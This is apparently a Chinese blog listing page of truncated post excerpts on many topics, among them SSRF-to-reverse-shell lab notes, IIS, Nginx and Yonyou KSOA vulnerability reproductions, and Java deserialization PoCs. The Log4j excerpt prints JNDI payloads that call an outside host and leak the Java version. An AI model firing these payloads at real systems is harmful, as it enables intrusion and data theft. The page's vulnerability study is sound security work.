漏洞 基础json web
SSRF漏洞拓展
# SSRF漏洞拓展 [TOC] ## curl_exec函数 ### 一、ssrf配合gopher协议反弹shell 实验环境： ``` （1）192.168.142.201 #redis服务器 （2）192.168.142.133 #攻击机 （3）192.168.142.1 #SSRF靶机 `` ......
走进JavaScript基础语法
[点击链接走进前端学习：https://blog.csdn.net/qq_53810245/article/details/116831968](https://blog.csdn.net/qq_53810245/article/details/116831968) @[TOC](JavaScrip ......
在上篇代码的基础上用StepLR更新学习率
训练集WNN.py代码 参考博文https://blog.csdn.net/weiman1/article/details/125647517?ops_request_misc=%257B%2522request%255Fid%2522%253A%25221694168675168001827575 ......
关于 Product Pipeline 的 galectin.json 文件
## Product Pipeline概述： "Product Pipeline"是一个广泛用于企业中的术语，指的是一个产品从概念到最终交付的整个过程。它代表了产品的生命周期，从概念、规划、设计、开发、测试、部署，一直到最终发布和维护。在软件开发领域，"Product Pipeline"通常包括多个 ......
报错解决 :Resolved [org.springframework.web.bind.MissingServletRequestParameterException
报错解决 :Resolved [org.springframework.web.bind.MissingServletRequestParameterException 解决方法：RequestParam注解加上required = false属性。这样请求参数可以传null对象。 如果没有加上re ......
JAVA的几个知名的反序列化漏洞
更新一下笔记中JAVA的几个知名的反序列化漏洞，仅漏洞poc和原理，无分析过程。 # Log4j 条件：出网（因为需要请求jndi服务器） ``` ${jndi:ldap://yuvs2b.ceye.io} //外带请求 ${jndi:ldap://${java:version}.f2478a5a. ......
IIS_7.o/7.5解析漏洞
[toc] # IIS_7.o/7.5解析漏洞 | 说明 | 内容 | | | | | 漏洞编号 | | | 漏洞名称 | IIS_7.o/7.5解析漏洞 | | 漏洞评级 | | | 影响范围 | win7,server2008 | | 漏洞描述 | | | 修复方案 | | ### 1.1、漏洞 ......
k8s helm基础
Helm 介绍 Helm是一款将Kubernetes应用打包为“图表”格式，并基于该格式完成应用管理的工具。类似于Linux系统上的yum或apt-get等包管理器，可以帮助用户查找、分享及管理Kubernetes应用程序。 Helm 概念 Chart： 代表着 Helm 包。它包含在 Kubern ......
【专题】中国充电基础设施行业简析报告PDF合集分享（附原数据表）
原文链接：https://tecdat.cn/?p=33600 2022年，中国城市充电基础设施继续快速增长，总量从2021年的261.7万台增加到2022年的521万台，同比增幅超过99%。其中，私人充电桩的增加数量达到194.2万台，是公共充电桩增加数量的3倍，私人充电桩占比也从2021年的56 ......
【专题】2021年中国主要城市充电基础设施监测报告报告PDF合集分享（附原数据表）
原文链接：https://tecdat.cn/?p=33600 2022年，中国城市充电基础设施继续快速增长，总量从2021年的261.7万台增加到2022年的521万台，同比增幅超过99%。其中，私人充电桩的增加数量达到194.2万台，是公共充电桩增加数量的3倍，私人充电桩占比也从2021年的56 ......
【专题】电动汽车充电基础设施建设与运营的优化解决方案报告PDF合集分享（附原数据表）
原文链接：https://tecdat.cn/?p=33600 2022年，中国城市充电基础设施继续快速增长，总量从2021年的261.7万台增加到2022年的521万台，同比增幅超过99%。其中，私人充电桩的增加数量达到194.2万台，是公共充电桩增加数量的3倍，私人充电桩占比也从2021年的56 ......
用友时空KSOA ImageUpload文件上传漏洞
## 漏洞简介 用友时空KSOA平台ImageUpload处存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器权限 ## 影响版本 用友时空企业信息融通平台KSOA v9.0 ## 漏洞复现 fofa语法：`app="用友-时空KSOA"` 登录页面如下： ![](https://img2023.c ......
Web阶段：第十二章：JSP动态页面
1.什么是Jsp?jsp是java server page，java的服务器页面。2.为什么要学习jsp技术因为jsp技术可以很好的解决在Servlet程序中回传数据是html内容，这个问题。 在Servlet程序中回传html数据，为什么是个问题？ public class PrintHtml e ......
Web阶段：第十三章：EL表达式
什么是EL表达式？E L的全称：Expression Language，就是表达式语言。可以输出表达式的值。跟jsp的表达式脚本一样。计算表达式的值后输出。 EL表达式出现的目的是为了使JSP写起来更加简单，让jsp的代码更佳简化。 我们先来看一下EL表达式的一个Hello world 程序，看看它 ......
Web阶段：第十四章：JSTL标签库
JSTL 标签库JSTL标签库 全称是指 JSP Standard Tag Library JSP标准标签库。是一个不断完善的开放源代码的JSP标签库。EL表达式主要是为了替换jsp中的表达式脚本，而标签库则是为了替换代码脚本。这样使得整个jsp页面变得更佳简洁。 JSTL由五个不同功能的标签库组成 ......
Web阶段：第十五章：文件上传&下载
文件的上传介绍文件的上传和下载功能是很多系统中非常常见的功能。非常的重要。 文件的上传1、首先需要一个form表单2、然后在表单内有input type=”file”3、提交的方式必须是method=”POST”4、enctype="multipart/form-data"编码类型必须是多段的表单数 ......
JS基础-数据类型转换
JS存在不同的数据类型， 这就需要一些方法将不同的数据类型做转换。 ## 转数字类型 其他类型的值转换成数字， 这在工作中很常见。 有以下几种转换方式 - Number 函数 - parseInt 函数 - parseFloat 函数 ### Number Number 函数可以将 其他类型转成 数 ......
springmvc中的json数据转为字符串使用到的jar包,将servlet设置为bean对象
2023-09-08 <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.15.2</version> </dependency ......
二维树状数组基础.
`2023-08-10 11:04:41 顶置3` # 二维树状数组 二维树状数组与一维树状数组其实原来差不多，相当于对整个列开一个树状数组，然后对其中每一行开一个树状数组。所以其基本形式与一维树状数组差不多，非常好理解（可以看做是行列相互独立，只是处理行的时候处理的是其对应的列的树状数组，学了二维 ......
线性基基础
`2023-08-30 15:05:38 顶置3` `launched on 2023.8.30 11:20` 参考资料： [Hypoc_:线性基详解](https://blog.csdn.net/a_forever_dream/article/details/83654397?ydreferer= ......
数论基础（还在更新）
`2023-07-29 16:22:14` # 辗转相除法 (求gcd) 求 $a,b$ 的最大公约数。 假设 $a\ge b$ ，令 $gcd(a,b)=d$（下文都这样表示）。 那么设 $a=k_1d$,$b=k_2d$，则 $a\mod b =(k_1-rk_2)d$，当 $k1-rk2>0$ ......
Acunetix v23.8 发布 - 漏洞扫描 (Web 应用程序安全测试)
Acunetix v23.8 (Linux, Windows) - 漏洞扫描 (Web 应用程序安全测试) Acunetix | Web Application Security Scanner 请访问原文链接：，查看最新版。原创作品，转载请保留出处。 作者主页：[sysin.org](https: ......
macOS Ventura 13.5.2 (22G91) Boot ISO 原版可引导镜像下载 (修复零日漏洞)
macOS Ventura 13.5.2 (22G91) Boot ISO 原版可引导镜像下载 (修复零日漏洞) 2023 年 9 月 7 日（北京时间 8 日凌晨）macOS Ventura 13.5.2 (22G91) 发布，此次为安全更新，主要修复了零日漏洞 CVE-2023-41064 CV ......
macOS Ventura 13.5.2 (22G91) 正式版发布，修复零日漏洞 (ISO、IPSW、PKG 下载)
macOS Ventura 13.5.2 (22G91) 正式版发布，修复零日漏洞 (ISO、IPSW、PKG 下载) 2023 年 9 月 7 日（北京时间 8 日凌晨）macOS Ventura 13.5.2 (22G91) 发布，此次为安全更新，主要修复了零日漏洞 CVE-2023-41064 ......
0零基础入门matlab教程基础版
【0零基础入门matlab教程基础版，听懂人话就能学会！毕业设计/研究生/神经网络工具箱/机器学习/数学建模matlab】 变量命名规则 区分大小写长度不超过63位(2012a32bit和64bit计算机上测试结果)以字母开头，可以由字母、数字和下划线组成，但不能使用标点应简洁明了，通过变量名可以直 ......
jquery对复杂的集合型Json数据进行筛选（象C#的find一样）
比如如下js下的json数据： var list=[ {"ColName":"OrderDate","ColLabel":"日期","ColNewLabel":"日期","IsChecked":1,"Sort":"0"}, {"ColName":"OrderCode","ColLabel":"单据编 ......
2023Java最新面试题整理 - Java 基础
大家好，我是**闲者**，最近正在考虑找新工作，进行面试，但是工作时间比较久了，很多基础知识都很模糊，所以得复习下，顺便做下记录，也便于大家参考。 以下为大纲，后期会定期更新 [2023最新Java面试题(一) - Java 基础](https://justmyfreedom.com/article ......
11 STP基础
>以太网交换网络中为了进行链路备份，提高网络可靠性，通常会使用冗余链路。但是使用冗余链路会在交换网络上产生环路，引发广播风暴以及MAC地址表不稳定等故障现象，从而导致用户通信质量较差，甚至通信中断。为解决交换网络中的环路问题，提出了生成树协议STP（Spanning Tree Protocol）。运 ......
java基础-java面向对象-day08
### 1. 一个简单的类 认识类 成员变量 类方法 ``` public class Person { //类的成员变量 int age; String name; double height; double weight; public void eat(){ System.out.printl ......
Nginx_(背锅)解析漏洞复现
[toc] # Nginx 解析漏洞复现 | 说明 | 内容 | | | | | 漏洞编号 | | | 漏洞名称 | | | 漏洞评级 | | | 影响范围 | | | 漏洞描述 | Nginx 解析漏洞 该解析漏洞是PHP CGI 的漏洞，在PHP的配置文件中有一个关键的选项 cgi.fix_pa ......